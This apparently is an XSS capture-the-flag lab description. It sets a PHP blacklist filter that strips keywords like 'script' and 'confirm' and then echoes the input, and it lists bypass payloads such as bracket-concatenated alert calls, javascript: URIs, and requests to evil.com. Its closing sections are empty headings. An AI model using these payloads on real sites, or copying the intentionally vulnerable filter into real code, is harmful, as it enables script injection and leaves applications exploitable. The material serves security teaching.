Test XSS with comprehensive blacklist filtering that includes specific bypass attempt prevention
This lab demonstrates an advanced blacklist filtering approach that specifically targets common bypass techniques. The filter now includes prevention for string concatenation, HTML entities, and Unicode escapes for the "confirm" function.
# use arjun tool to find hidden parameters: id, cat, page, number, page_id, categoryid
These patterns specifically target common bypass techniques for the "confirm" function, including string concatenation, HTML entity encoding, and Unicode escapes.
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <script>"c"+"onfirm(1)"</script>
Output: <>""+""</>
Objective: Discover all 7 hidden parameters and find creative ways to bypass the advanced blacklist filtering with specific bypass prevention to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('details','alert','confirm','prompt','eval','details',
'ontoggle','onmousemove','onmouseover',
'script','Script','sCript','scRipt','scrIpt','scriPt',
'scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT',
'script','img','image','svg','onfocus',
'"c"+"onfirm(1)">', "confirm(1)>", "\u0063onfirm(1)>");
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
// Same filter applied to: cat, page, number, page_id, categoryid
<script>print()</script><script>open()</script><script>console.log(1)</script><script>fetch('http://evil.com')</script><script>XMLHttpRequest()</script><script>location.href='http://evil.com'</script><script>window['al'+'ert'](1)</script><script>this['al'+'ert'](1)</script><script>self['al'+'ert'](1)</script><script>top['al'+'ert'](1)</script><script>parent['al'+'ert'](1)</script><script>window['\x61lert'](1)</script><script>window['\141lert'](1)</script><script>window[`al${''}ert`](1)</script><script>window['al'['concat']('ert')](1)</script><script>window['al'.concat('ert')](1)</script><iframe src=javascript:alert(1)><body onload=window['al'+'ert'](1)><marquee onstart=alert(1)></marquee><object data=javascript:alert(1)><embed src=javascript:alert(1)>The current filter is very comprehensive but still has some limitations:
Advanced bypass prevention demonstrates:
For truly secure web applications: